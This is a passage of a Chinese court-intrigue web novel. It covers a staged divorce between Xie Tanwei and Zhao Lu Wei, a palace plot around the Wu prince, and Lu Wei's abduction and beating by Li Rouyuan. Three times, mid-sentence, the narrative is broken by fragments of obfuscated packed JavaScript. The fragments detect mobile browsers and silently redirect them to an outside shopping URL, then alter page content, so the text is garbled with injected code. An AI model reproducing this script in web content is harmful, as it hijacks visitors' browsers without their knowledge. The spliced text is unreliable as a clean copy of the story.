谢探微轻轻皱眉,“那她……”心中犹豫,朝丹渥扬了扬手,“你去休息吧,此处有我。” 已将酉时,天色暗昧。谢探微踏入房中,不闻丝毫动静,扶灯去到内室,一见,露微原是趴在妆台上睡着了,一手枕在脸下,一手放在腹前,掌心握着什么,定睛细看,却是生肖小猪的泥塑。剩下的十一个仍排在台上。 “微微。”他放了灯盏,弯下腰轻唤了声,见她并无丝毫反应,目光又落在那只小猪上,伸手试图拿开。 果然,她手上用着力,一觉扯动,立时便睁开了眼睛,“做什么?!”她一惊,身子向后退缩,撑着台沿站了起来,“有事么?” 谢探微紧紧抿着唇,直视她半晌方开口:“要睡,怎么不去榻上睡?天气还是冷的。” 他面色不甚明朗,声调也略僵,与这话意很不匹配,露微琢磨不透,只道:“你有事便说事,无事就出去。” 谢探微深吸了口气,似忍让,偏转了脸面,道:“二郎高中得官,母亲高兴,在花厅摆席,叫一家人都去。你快些梳洗更衣,同我一道去给二郎道贺。” 话到一半,露微便笑起来,转去榻边坐下,说道:“他去岁连榜都上不去,一年来也没见他悬梁刺股,竟能高中状头,可不知是文曲星附了身,还是安定观上了香啊!” 谢探微眼色一变,就道:“二郎性情纯善,能和安定观有什么关系?况且父亲素来中正,更不会徇私。你便对我有气,也不该迁怒无辜。” 露微冷冷地哼了一声,蔑视道:“他便无辜,你总是不无辜的!去了趟安定观,转头就复了官,连早该行刑的晏令白都叫大理寺重审了,谢探微,好本事啊!” 一席话说得谢探微脸色青白,双手紧紧攥拳,道:“你从前也是通达人情事理的,怎的一下变得这般尖刻?我便去了,也没有瞒你,如何计议,也同你说了,你为什么就不能明白我的心?” “我为什么要明白你的龌龊之心?”紧接着他的话音,露微毫不退步,声音也越发高起来,“你明知安定观司马昭之心,却还委身求荣,还觉得是什么高义?真是令人恶心!” “微微!你,住口!”他怒得浑身发颤,不可遏止,缓缓抬手指向她,切齿道:“阿父于我高天厚地之恩,我做什么都在所不惜。你觉得我恶心,可你自己就行端坐正吗?!” 露微瞬间明白,这话是指她与姚宜若之间的流言,心中如有山石崩塌,震荡得胸肋剧痛,“谢探微,你,好!你说得——好!”饶是如此,一张煞白的脸孔仍勉力抬了起来,唇上分明深陷的齿印似见血色,不曾叫人看清,已展开一笑: “既生两意,便非同道,谢郎,你我——断婚吧。” 谢探微一直止步妆台之前,仿佛听到的只是平常字句,半晌,长舒了口气,提步转身,“也好。” …… 谢探微返回前庭时,在廊庑间已能听见朗朗笑语,行至门下,果见席间家人俱都到齐,除了,他们。 “父亲,母亲。”上前行礼,他已另作神色。 堂上双亲这才将目光从二郎身上转过去,李氏道:“怎么才来?”又放眼他身后,笑意乍收,“去坐吧。” 谢探微垂目拱手,就近择了长姊身侧空席坐下。谢探渺早也注视他,心中忖度,悄悄拽过他的衣袖,问道:“露微呢?你如何也该把她带来才是。” 谢探微纹丝不动,只淡淡回道:“她不肯来。” “怎么就到这般了?你素日不是最让着她的么?竟不会说句软话?”她难以置信,细想更觉不通,索性道:“不然,我去试试?” 见长姊就要起身,他这才抬脸,却是伸手拦住,“长姊。”顿了顿,喉咙一咽,“我原准备散宴后再向父亲母亲禀告的——我与她彼此不合,反目生嫌,已经决心,和离了。” “你说什么?!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157296|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢探渺一声惊呼,将众人目光都引了过来,却不必他再重复,只听谢二郎喊道:“阿兄,你们可是陛下赐婚,怎么能和离呢?!” 谢探微怅惘一笑,遂起身走到中央,目光自二郎移向父母,道:“陛下赐婚,圣旨上说她‘禀性贤婉’,可她多日不来请安,不顺父母在先,背后还污蔑二郎得官不正,口出恶言,更则与前夫小叔纠缠不清,淫佚放荡——这七出之条已占其三,岂是禀性贤婉之妇?既德非柔淑,不宜其家,便理该仳离,还请父亲母亲,允准!” “那些话你也信了?!” 话音未落,谢探渺又冲上前来,拉住他手臂,又惊又急。徐枕山也随上来,见两尊亲脸色僵冷,忙就要撩袍跪倒,替他求情。然而这时,忽有一个小婢连滚带爬地跌进门来,趴着就道: “大夫人说已与长公子断婚,这就要回本家去,奴婢们拦不住,她已经出了府门了!” 来的是东院一个洒扫小婢,谢探渺见过她几面,顿时脑中空白,再不管众人如何,一心就要去追,却在放开谢探微手臂的同时,被他猛一反手,生生拽住—— “叫她去吧!放妻书我自会差人送到赵家。” 谢探渺从不与露微亲近,就算与她坦诚深谈过,至今也不算交心,可此刻望着弟弟冷漠至极的神色,望着父母天差地别的态度,她忽然只觉周身寒彻: “她再如何,也是你阿父亲女,一日晏将军昭雪归来,你拿什么颜面去见他?你们怎能——凉薄至此?!” 厅中再无人应她,只是无声处,一个隐秘的微笑悄然泛起。 …… 早已宵禁,街道空荡,头顶是一弦孤月,身畔唯恻恻阴风,这是露微第四次犯夜,但与以往不同,她既不躲避,也不害怕,就端端正正地走在中央。 “夫人,为什么……等到明天不行么?这样回去,家翁见了只怕要急出病来!这么大的事……公子他……” “公子怎么忽然就这般绝情?当初也是他们家来求的亲,如今竟没有一个人来留你!难道往日的好处都是假的?” 雪信和丹渥自是要跟露微共进退,只是难免一路追问,心中既为露微急痛,又为此事糊涂。露微自有所思,一时并未说话,直至转过一处街角,忽见迎面来了一队巡街金吾。 这是迟早的事。 不必她们再送上前去,金吾郎很快迫近,弓弩长剑,纷纷指来,“哪家的小娘子,难道不知夜禁?!” 城西一片如今已无熟悉的金吾,但露微也毫未慌张,将雪信丹渥揽护身后,便自腰间取出女官身牌递了上去,从容道: “我是东宫女学士赵露微,前因陛下赐婚,嫁与金吾司阶谢探微为妻。然则两情不合,今已断婚,不得再留谢家,正要回归本家。若郎官不肯通融,只送我三人下狱便是。” 莫说金吾之中,如今整个咸京,岂有没听过谢家赵家的?为首郎官只一见身牌便满面凝重,抉择良久,下了声斥令: “来人,将赵学士送回本家!” …… 一场家宴终未宴成。谢探微回到东院,四下静极,周遭如旧,唯是正寝房门大开,昏昧的烛光照出来,虚弱迷蒙,同今夜的月色一般,难敌黑夜。 “她走之前,可留了什么话没有?” 方才去报信的小婢随在谢探微之后,知他态度决绝,不敢靠近,只缩在阶下一角,颤颤道:“夫人说,一切皆虚假,什么反复……哦,是人情反覆间。” 他似乎失了神,半晌,抬脚跨进了房门,“她不是夫人了,以后不可如此称呼。”说完,关门声轰然作响,小婢惊了一跳,愣怔片时,仓惶跑开。 屋里人影随灯影移动,由外间渐次深入,忽然停在了妆台之前。他看见,台上空了许多,少了一只存放皇后凤钗的盝顶长盒,也少了那一排十二生肖泥塑——不,是十一个—— 刚刚不曾从她掌心取出的泥塑小猪,落在了铜镜下缘的角落里。 91.沉舟 露微同长兄赵启英前后自父亲卧房走出,脸色俱是凝重。她眼中泪意未消,悲戚之中更多了一重惭色,苦笑道: “那时信誓旦旦,说我再也不会被休回家来,可如今未满一载,不仅覆辙重蹈,还连累阿耶和阿兄都丢了官,阿耶也气病了。我该是,不要回来的才好。” 那夜离开谢家,路遇的金吾虽不相识,却将她安然护送回了赵家。问起缘故,那郎官倒并不知详细,只道金吾上下一心,都盼着晏将军回来,而他们也感念赵学士授课办学的恩惠。她便也才得知,自晏令白入罪,竟是章圣直暂接了将军大印,军中虽不服,也不愿再闹出事端,徒与晏令白添罪。 金吾报恩之举虽令人感佩,却与她原本构想大有偏差。而接踵而至的,便是她被谢家休弃的消息,在“犯禁”的烘托下,次日一早就传遍了咸京。于是,本就恶议缠身的她即刻便被天子免去了女学士之职,连带父兄都被罢官。 “你不回来,还想去哪里呢?” 赵启英早已自悔从前亏待,但一向也没有什么能为露微做的,此刻淡淡一笑,眼中投下宽慰的目光,“我那时也对你说过,这里就是你的家。父亲为你一时急怒攻心,医人说并无大碍,你也听到的。你就安心在家,以后一切诸事,有我担承。” 露微勉力抬起头来,道:“阿兄也不介怀,晏令白就是我生身父亲?若没有他的事在前,也不会到如今地步。” 赵启英不料她提起此事,一时想起的,是从前对她多有欺侮,每每都是以她出身不明来泄愤,自惭形秽,偏开了目光,“你既不想认他,他便与你无关,与赵家无关,无关之人,我何必介怀。” 露微深深吸气,挤出一笑,不知再说什么,向长兄略致了礼,转向自己院中而去。 赵启英望着的她身影,眉心未曾一松,招来守候廊下的小奴,问道:“谢家还没有来人么?” 这小奴本是常年随侍赵启英前后的,清楚赵家近来的光景,虽是敛色低头,终究难掩不平,道: “尚未来人。谢家既敢将小娘子赶回来,与当初姚家有什么不同,权高势大,更是薄情寡义。” 赵启英斜他一眼,又不由叹声,道:“我哪里是求他们来道歉的?小妹当初既是明媒正娶,如今回家来,也须得堂堂正正,不然当我赵家可欺?”顿了顿,略一思索,道: “你现在就去趟谢家,叫谢探微来见我,就说我拟好了断婚书,必要他来具名!若他迟延不来,我必去登门拜访谢中书!” …… 露微回到自己房中,原想安静自处,却见丹渥、雪信不仅都在,且毫未察觉她已到身后,只东西各一头趴在地上找寻什么。她便唤了一声,问道: “这是做什么?” 二人闻声一惊,这才慌忙起身,并排站到露微跟前,彼此目光暗通,半晌还是雪信先说道: “娘子拢共就带回来两样东西,太子殿下赏的凤钗好好在的,那套十二生肖泥塑,不知怎么倒少了最后那只小猪。可当时娘子说要带走,奴婢明明很仔细收好的,不会记错的。” 丹渥虽不是经手的人,怕雪信受责,也嗫嚅道:“娘子不要生气,那天夜里我们一路顺畅,肯定没有丢在外头的。” 她们愈是焦急自责,露微却愈发淡然,将目光转向窗下,那剩余的十一个生肖仍是排在妆台上的,“两三日了,亏你们现在才发现,并没有丢的,你们不用多管了。” 两人稍松了口气,雪信又问:“是娘子收起来了?可是奴婢也没见在榻上啊。” 她只想起先前只有小兔和小狗两样的时候,露微是喜欢握在手里睡觉的。后来凑齐了十二个,就变成摆在台上赏看,却并未见这小猪格外受宠过。 露微摇头一笑,道:“叫你每日少擦拭一件东西,轻松些岂不好?何苦这样刨根问底起来?”收了些笑意,又道:“今岁的生肖正好是猪,那日澈儿来看我,我就顺手拿给他玩了。” 两人知道赵澈是来过几回了,再无疑惑,惭愧笑笑,便要告退,又听露微吩咐道: “去叫澈儿来陪陪我吧。” 雪信点点头,仍与丹渥一道出了门。正要从速就去办差,偶一瞥眼,丹渥却是低头皱眉,不知又有什么缘故,问道:“还有什么事?” 丹渥素来寡言省事,此刻见雪信问她,反将人携到远处,才神秘说道:“谢家如此绝情,长公子也对娘子不闻不问,娘子却还将这生肖齐齐整整带回来,不奇怪么?” 雪信忽被一语惊醒,这才反应过来,这十二生肖当初正是谢探微买给露微取乐的。如今二人既已情断,以露微的性子,就算曾经再喜欢,也该丢弃才是。 “也许,娘子还是心软,留个,留个念想?”她说得极是心虚,连自己都无法说服。 …… 赵澈由来不同于父母,自记事起就亲近露微。如今也到晓事的年纪,明白姑姑出了大事,因而一见雪信来请,便一路小跑了过来。 露微将他携到身侧,与他擦拭额上细汗,笑道:“你父亲给你请了先生,是每日到先生家上学去么?” 赵澈认真点头道:“正是,但姑姑回来了,祖父也不大安,娘说近日可以不去,向先生告了假。” 露微明白家中的用心,想想又道:“姑姑知道澈儿很乖,可姑姑既不愿耽误澈儿的课业,也想请澈儿帮姑姑一个忙。” 赵澈能听懂字句的意思,但连起来又有点绕:“我愿意为姑姑做任何事,可这和上学去有什么关系?” 露微抚了抚他的头,一时不语,起身走到案前,提笔在纸上写了几行字,交到孩子手里方道:“先背下。” 赵澈落眼看时,并不是他学过的篇章,不知出处,也只有两联句:左纳言,右纳史,朝承恩,暮赐死;行路难,不在水,不在山,只在人情反覆间。 “姑姑,我已经记下了。”片刻后,赵澈便抬起了眼睛,“然后做什么呢?” 露微垂目一笑,眼中透出的却是决绝。 …… “父皇!父皇!求你见见臣吧!臣愿为赵家担保,太傅德高望重,赵学士端正清白,绝非传言私乱之人!求父皇宽恕赵家吧!” 谢探微站在紫宸殿前,垂目望向跪在阶下的皇太子,声声求告,字字泣血,已是连日来必见的情景。许久,他只是握紧腰间佩剑,重新昂首,将目光放得平直。 “殿下!殿下——这会扰了陛下静养的!” 忽有一人自殿内出来,一路慌促小跑,跪倒在皇太子身前,欲将他扶起。可年少的太子一见此人,立时变色,泪痕不及擦拭,已抬起一脚将他蹬翻在地,斥道: “鼠狗之辈,那双脏手也配碰本太子的玉体!这紫宸殿也是你该在的地方?!我尚未治你的罪,你倒敢欺到本太子头上?” 此人正被踢在心窝处,痛得五内震荡,半天没接上气来,等太子说完还趴在地上不得动弹。太子见状,冷冷哼声,兀自上了两阶,仍欲继续求见皇帝。 然则,他方撩起袍服,正殿门下又缓缓移出一个华丽妆服的身影,将殿前情景尽收眼底,并不靠近,只淡淡一笑:“太子殿下既为陛下忧切,如此亲自发落一个贱奴,倒是有些失态了,若陛下醒来知晓,怕也是要责怪的。” 皇太子却不能再无视这人,怔然忖度半日,终是拱手作礼,道:“周娘娘,父皇还没有醒来么?”顿了顿,又问:“那丁仁成现在何处?请娘娘唤他来见我。” 周贵妃仍复一笑,道:“陛下近来体弱,却还不丢不开朝事,昨夜又熬了一夜,才睡了一二时辰。至于丁内官么,自小侍奉陛下,御前离不得他,殿下若有什么吩咐——” 她将眼睛瞥向地上的贱奴,“这王弘俦也是跟随我多年,虽比丁仁成年轻些,倒也很会办事,殿下就使唤他便是。” 皇太子脸色起伏,掩在袖下的手渐渐攥紧,“不必了。” 周贵妃适时地点了点头,摆出欣慰神色,“那就请殿下早些回东宫安歇,待陛下好些,我必叫王弘俦去请殿下。”见太子就要转身,却又将目光对准了旁观一切的谢探微,道: “谢司阶,你就代我送殿下回去吧。太子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172882|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 储君,关乎国本,可东宫戍卫却着实松懈,叫殿下就这样胡乱出来,今后东宫护卫之事就交由金吾,务必守护殿下周全。” 谢探微静静听完,只是笃声应诺,便走到太子身侧,拱手道:“臣奉命,护送殿下回宫。” 皇太子尚不足他胸口高,此刻目光冷硬,忽一扬手,向他颊上挥去一掌,“这一下,是替我阿姊打的。谢探微,你配不上她!” …… 待见皇太子二人去远,王弘俦才从地上爬起来,捂着胸口走到贵妃身侧,说道:“娘娘为何要用金吾去看守东宫?这不是给他们可乘之机?虽是章圣直暂领金吾,可他并无掌兵的经验,金吾的心一时还收不回来,不若换了监门卫,咱们的人来?” 贵妃睨他一眼,道:“自正月来,先是我儿授官,晏令白下狱,如今赵家又被免了官,你是嫌还不够惹眼么?事情总是要一件一件做的,况且——” 王弘俦愣愣点头:“请娘娘明示。” 贵妃不知因何,回看了殿内一眼,嘴角渗出冷笑:“况且,金吾若敢此时生事,正是授我以柄,那太子将来有什么闪失,也都是金吾之过,就如同,这紫宸殿的圣驾一般。” 王弘俦忽一恍然,目色发亮,低头拜道:“娘娘英明。” …… 年少的太子用尽了手上的力,那一掌打得谢探微目眩耳鸣,直到返回紫宸殿,半边脸上仍是麻木灼痛。这样的痛,又一直延续到当夜,伴他踏入了安定观。 李柔远虽深居,却自有捕风捉影的渠道,早听闻白日的缘故,见他颊上果然指印红肿,唤人端来伤药,欲亲自为他疗治。 “没想到,太子看着文弱,下手却是不轻。”玉色的药膏盛装在青瓷圆盒中,浑如一体,被李柔远的手指轻轻搅动着,方看出分界来,“你不能还手,还不会躲么?”一笑,拔开指尖向他颊上伸去。 谢探微自进门起一语未发,直至这指尖触碰到自己脸颊之前,“这药膏沾染了道观的气味,臣——为公主的声名前途着想,是不敢用的。” 李柔远为他回避的举动才露愠色,“公主”二字便及时化解了,“我早就不是公主了,你说什么胡话?” 谢探微望见她眼角眉梢泄露的得意,淡淡一笑:“公主明白,我说的不是胡话。”深吸了口气,端正了身子,正声又道: “陛下敕令公主出家入道,是断了公主一生的出路。可如今的局面,陛下日渐病笃,太子缺少靠傍,吴王取而代之,是指日可待——臣说得可对么?” 李柔远稍抬下颌,目光愈深,嘴唇紧抿,许久才逼出一问:“你都知道,还问什么?” “我已为公主休妻了!”紧随她的质问,谢探微高声道,旋即却又怪异地压低了声腔,眼睛只看向她空悬许久的指尖,道: “可现在我们时常私会,公主就满足了么?我谢家也是累世豪门,天下甲族,做不得这暗室点灯的勾当。所以,臣必要等吴王登临宝位,下诏赐公主还俗,再堂堂正正与公主结为夫妻。” 一席话说得李柔远心神驰荡,这原就是她从未改变的心思,虽遭连番挫折,也到底是近在咫尺了。望着这张被伤痕反衬得愈加英武的面孔,她与生俱来的傲慢便一时都散碎了。 “你既有此诚意,我自然会尽快与母亲商议。”她用帕子揩去指尖的药膏,命人端了下去,“只是,你那前妻……” 谢探微目光一抬,道:“怎么了?” 李柔远抬眉一笑,试探般牵起他膝上一片袍角,方道:“她的怨气可不小,成日说什么‘左纳言,右纳史,朝承恩,暮赐死’,就连出门也随口去说,如今连小孩子都当个歌谣传唱起来。她分明是指我父皇薄待功臣,忘恩负义,想引起朝野议论,针对我……” “公主这就怕了?”谢探微没让她说完,面色从容,甚至是自得,“赵家已经声名狼藉,说两句怨言掀不起风浪,况且,只要我们早日成事,到时乾坤已定,是赐恩,还是赐死,不就是公主的一句话么?” 李柔远呆呆看他,手中捻着的袍角不觉中已经松落。 92.沥血 望着赵澈走进老师家门,露微方含笑转过身来,雪信守候一旁,正欲扶她登车,却见她目光忽然朝下顿住,随之一看,却是几个五六岁孩子正在道旁嬉戏,一边转圈,口中就反复念道: “左纳言,右纳史,朝承恩,暮赐死;行路难,不在水,不在山,只在人情反覆间。” 虽则雪信不通诗书,此时却是了然神色,只低声在露微耳畔道:“娘子,走罢,这些词早已传开了,小郎在此上学,难保有人就认得赵家的车马,不好多留的。” 露微领会她好意提醒,点点头,主仆一起登车后,方说道:“青天白日,我其实并无可惧,该怕的,自然会怕。” 雪信只知是露微故意借赵澈这般孩童之口传言,却并不知这些词的含义,一时就问:“娘子到底想做什么呢?难道几句话就能惩治那些坏人么?” 露微笑笑,抚了抚她鬓边不曾压平的一缕丝发,“那是前朝的一首诗,写的是夫妇之间从相爱到不爱,人情反复,人心难测,但最终的立意是讽刺君臣之义,不得善终。” 雪信原也能从字面上看出几分意思,此刻听到解释,又是君臣又是夫妇,好像都是映射近日事端,便又有些糊涂了,不知如何再问,就半懂不懂地点了点头。 露微却都心知肚明,也不再多说,只另嘱咐道:“稍待到了乐游山,我一个人上去就好,不会太久。” 送赵澈上学,只是露微今日的行程之一。她很久没有去看母亲了,清明在即,时近春分,咸京的第一茬樱桃已经熟了。 …… 谢探微下职归来,正自门首下马,巧见二郎也随后跨马而至。今日并非休沐日,他却未着官服,来的方向也非皇城,谢探微心生疑惑,随口便问: “你从哪里来?没有上职去么?” 谢探隐却似走神般,闻声才望见人,干涩一笑,回道:“是,是一个同僚病了,我便告假早走了片时,去探望他的。” 谢探微察觉他面色有异,微微蹙眉,旋即只是点头一笑,“走吧,我们一道去给母亲请安。” 谢探隐自无不应,将马鞭交到门下小奴手里,顺手理了理衣袍。可再抬头时,却见长兄垂着双目,正盯着他身后,“怎么了?” 谢探微一指他后侧袍边:“哪里不当心蹭的?怎的这个颜色?” 谢探隐扭头去看,脸色竟顿时白去了几层——他浅色的袍服上竟沾了一块暗红的污迹。“我,哦……今日在馆中,有同僚打翻了案上的朱砂,大约就是那时候溅上去的吧。” 半晌后听到解释,谢探微仍作淡淡一笑,道:“先去换身衣裳,我在母亲那里等你。”抬手拍了拍他肩头,又道: “你已是天子门生,还该多顾着些穿戴形容,若是这般不察之下去面君,可是有失官体的。” “是,多谢阿兄提醒。”谢探隐仍未缓过神色,话音未完便匆匆而去。 谢探微望着弟弟的背影,脸上的笑意早已消失——他因告假早出探望同僚,才身着常服,又怎会在这身衣服上,被溅到了弘文馆中的朱砂? …… 赵家小奴奉赵启英之命前去谢家喊话,已过去多日,可谢探微既没有露面,也不见哪怕是谢家下人前来回话。赵启英自然不会罢休,便要亲自登门,人已跨在马上,却忽见家中马车疾驰回来,侍女雪信从车内跌滚而下,看见他便哭诉道: “娘子去山上墓园祭拜夫人,不叫奴婢跟着,可两三个时辰不见回来,奴婢找上去时,人已经不见了!” 赵启英霎时只觉天旋地转,愣怔了半晌,大出了一身冷汗,斥道:“什么叫不见了,她未必不认路?山上都找过了么?!如今这种时候,你们怎可离开她半步?!” 饶是疾言厉色,他也知是白问,再不迟延,一拽缰绳,转过马首,向乐游山扬鞭而去。 …… 掌灯时分,谢探微独坐房中,眼前一片灰暗,已不大看得清,只是他握在掌中之物,原也不必用眼观,形状高低,色彩质地,都是刻骨铭心。 正有思绪如秋叶纷然而下,忽见外间透来一点微光,便听见叶新萝的声音:“大郎,郡主唤你过去,有事相商。” 他才自正院回来,一时不愿再动,问道:“是什么事?” 叶氏似有为难,停顿了片时,道:“一件是岐王府添丁的喜事,郡主预备了贺礼,想着你明日在家,要你一道去。” 母亲准备的贺礼就在内堂摆着,他去时已经见了,有金银小镯,有各样绣品织物,都刻印着小猪纹样,想来今岁生肖是猪,孩子便是属猪的,图个吉利,这是寻常的做法。 “第二件呢?”他更关心有何下文。 叶氏本在等他回话,此刻却又格外迟延了一时,方沉声道:“是——赵家,赵家公子几日前遣人来催,要你去签下断婚书,否则便要亲自去见家翁。郡主知道,你是要去下书的,便没叫理会,只是告诉你知道。” 话音落下,一室内外皆静默良晌。 “明日叫二郎陪母亲去岐王府贺喜吧,我便去赵家送放妻书,早些了事也罢了。” …… 白日的天气甚是清朗,山间连一丝雾气也无。只是露微才在母亲墓前站下,一捧樱桃未及供奉,眼前却忽作黑云蔽日,脑后便遭下一记重捶,最后清醒的瞬间,她才意识到,是遇见了匪徒掳劫。 待她再次睁开眼睛,模糊间只觉亮光刺目,欲举手遮挡,才发觉手脚皆被绳索环环捆绑,便是想从硬冷的地上坐起来,也完全借不上力。此处是一间空屋,一样器具也没有,虽四面有窗,却也无法瞧见外头,只知已是深夜。 “你总算醒了,我早说过,我们还有机会亲近的。” 正勉力抬头观察,不料房门忽然开启,说话者音落之时方才缓缓现身,目光相接,露微心中惊情却是立时一松——她的话,当真是早有出处的—— “安定娘子,许久不见。上次我竟不知,娘子是要这般和我亲近的,倒是,令我意外。” 一双高靿靴的尖翘靴头,直至顶在露微面孔前,方才停住。李柔远垂目下观,艳红的翻领袍将她的眸子映出血色,半晌,扬唇一笑:“有胆有谋,有才有识,怎么就生成了个女儿身呢!倘若你是个男人,兴许,我就招你做驸马了,何苦多了谢探微这桩事?” 露微嗤笑,即便只能由下朝上仰望,亦将头抬至了最高,道:“我若果如此,怎会束手受缚?我若果如此,又怎会叫娘子抢走了丈夫?娘子若嫌多事,却何不放我回去,与谢探微重归于好呢?” 李柔远笑意一顿,提起一脚靴头勾住她的下巴,道:“你以为,你还能活着回去?”深吸了口气,缓缓吐出,又道: “谢探微已亲口同我说,要与我堂堂正正结为夫妻。只是你的存在,实在不能叫我放心,只要没了你,他的心就算一时不在我这里,也只能做我裙下之臣。” 露微的下颌被卡到极端,欲张口说话,一动便是一痛,仍无丝毫示弱,道:“他既……绝情断婚,便不会再牵挂于我,你就算灭了赵家满门,也是徒劳!更何况——贵妃苦心孤诣,不就是要将吴王推上皇位,我若此时死了,赵家若再出事,恐怕你们也要到头了!纵然陛下已被你们蒙蔽,还有宗室,还有百官,还有天下悠悠众口,你们,就不怕么?!” 她声音反而愈发高昂,落在李柔远耳中,却甚觉讽刺难听,胸中翻起滔天巨浪,再难遏制,拔出早已掩在袖下的一柄短剑,便挥手向她刺去。 眼看剑锋直直刺下,露微手脚受限,只有拼命挣力蜷缩身躯,可千钧一发之际,竟另有一人从门外冲来,将李柔远拦腰推开: “公主快住手!!” 露微恍然睁眼,一见那人跪在了李柔远身前,仍紧紧拉着她,再一定睛,方才认出,原来就是周贵妃身边的内臣,王弘俦。中秋宫宴上,他侍立一旁,露微留了印象。 “这丫头一失踪,她长兄便领人四处搜寻,宵禁了也拦不住,传到娘娘耳中,便知是公主所为!公主啊,此女不宜此刻处置,娘娘之意,是要留到最后,大事已定,再做不迟!” 这话的意思竟和露微如出一辙,李柔远根本无法听从,愤然道:“我用尽手段,到了出家的境地,才换得谢探微主动前来,我已经不想再浪费时间了!我劝母亲早日行事,她便说要再等一时,我管不了她的大事,处置一个小贱人还不行么?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176813|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王弘俦急得满头大汗,又求告道:“公主之心,娘娘自是深知,公主的委屈,娘娘也是想要补偿的。只是如今,事情做得太急,朝野观望,风声难止,须得稍平物议,徐徐图之。再者,谢探微与此女夫妻情深,骤然断婚,虽有可信之处,却万不能掉以轻心。” 见李柔远总算平静了几分,王弘俦也趁隙喘了几口气,很快继续道:“娘娘遣老奴来此,是有个折中的法子。人是不能放走了,可也不能留在安定观中,唯有将她带入宫中关押,旁人才找不到她,公主在谢探微面前也可坦荡应对。等到将来事成,自是交还公主处置;倘或事情有变,也可牵制赵家谢家,叫他们不敢轻举妄动。” 李柔远性情急躁,所以此前才屡遭挫败,听到这番话,里外都算计得周全,不由心下暗服,缓缓地点了点头,叫王弘俦暂让一旁,仍走去了露微面前。 露微虽无法动弹,听到现在,心中也早无惧怕,不过提防着她再要伤人泄愤,稍稍躬了起身子。 李柔远冷笑了声,果然忽起一脚狠狠踩下,猝然间,露微极力倾身,终被踏在背上,力道之重,令她顿时呕出一口鲜血,额头磕地,亦划破一道伤口。 “赵露微,你就安心等死吧。” 口中血腥弥漫,仍有淤积的鲜血自嗓中呛咳出来,但露微仍缓缓昂起了面孔,笑道:“好,我必会,等到那一天!” …… 一夜少眠,恍然到天际灰白,谢探微才稍闭了眼睛,不意再次睁眼,却已过了辰时。来至前院,父亲早已入朝,倒恰逢母弟将要出发,下人正往门外搬抬贺礼。 李氏见他一脸疲态,叹气道:“你近来事繁,既休假在家,多去歇息便是。” 谢探微自是另有事办,昨日也叫叶氏传了话,一笑,正要回应,却被母亲身后的弟弟抢先道:“阿娘,你怎么忘了阿兄今日有正事?了了此事,才算安稳的。” 李氏倒并没忘记,瞥眼二郎,摇头一叹,对长子道:“不就是下书么?事已至此,有什么好讲究的,叫个门奴送去就是。” 谢探微笑意抿于唇边,微有一滞,道:“我自会安排,母亲不必操心。”转将双目看向二郎,又道:“快陪母亲去吧,我这事岂能算是正事?去岐王府才是正事。” 谢探隐早不是昨日形景,穿得上下一身新,精神奕奕,道:“是,阿兄放心,我会好好陪阿娘的。” 李氏至此也不再多说,在二郎扶持下出门登车去了。 谢探微望着母弟远去,一箱箱贺礼却仍未搬完,上头刻印的金猪纹样总在他眼前晃过,不知为何,他的身躯忽然平地一震—— “司阶!司阶!出大事了!” 他尚未回过神来,门楼间却飞奔来一人,满头满脸的大汗,急得火烧眉毛一般。 “郑复,你这是,怎么了?”他勉力聚起些许散碎的精神,脸色愈加发白。 在一众甘州旧部都随晏令白下狱之后,谢探微身边就剩了郑复一个亲随,二人仍是一道上下职,谢探微便也不知他能有何要事。谁知,郑复盯着他,反又退开了几步,质疑道: “司阶如今,还在意……在意赵学士的事么?” 谢探微只觉咽喉一哽,半晌道:“你只先说是何事,不要颠三倒四,有头无尾。” 郑复低头又抬头,重复了多次,方吐露:“我一早出门,就听巡街的金吾议论,说赵学士昨日在山间被人掳劫,她长兄带人找了一夜都没找回来。” “你,再说一次?”谢探微先时还未还魂,此刻竟忽作癫狂般,将郑复衣襟一把抓起,拽到眼前,“你再说一遍!!” 郑复吓了一跳,眼珠震颤,道:“是真的!我还去赵家附近打听了,遇见赵学士身边的雪信,拉了她来问,她说昨日陪赵学士去乐游山祭母,赵学士一个人上山去,半日不见回来,再去找时,只见散了一地的樱桃……” 不必他叙说完,谢探微手上的力忽然溃散,似有痰迷心窍,胸口闷得一丝气也喘不上来,下一刻,高大的身躯竟是摇摇欲坠,轰然跌跪在地。 郑复见状不妙,忙伸手来扶,却还不及触碰到,忽见一团鲜血自他口中呕出,喷溅一地。 93.暗渡 赵启英搜寻无果,又怕家中不稳,交代了家奴继续寻人,自己暂先回了趟家。脚步匆匆才至门首,便听阍房小奴报说: “杨公子和姚家二公子五鼓时分来过,小奴只知尚未找到小娘子。他们便叫咱们府上不要着急,他们也都遣了下人四处找去了,若有消息再来报知。” 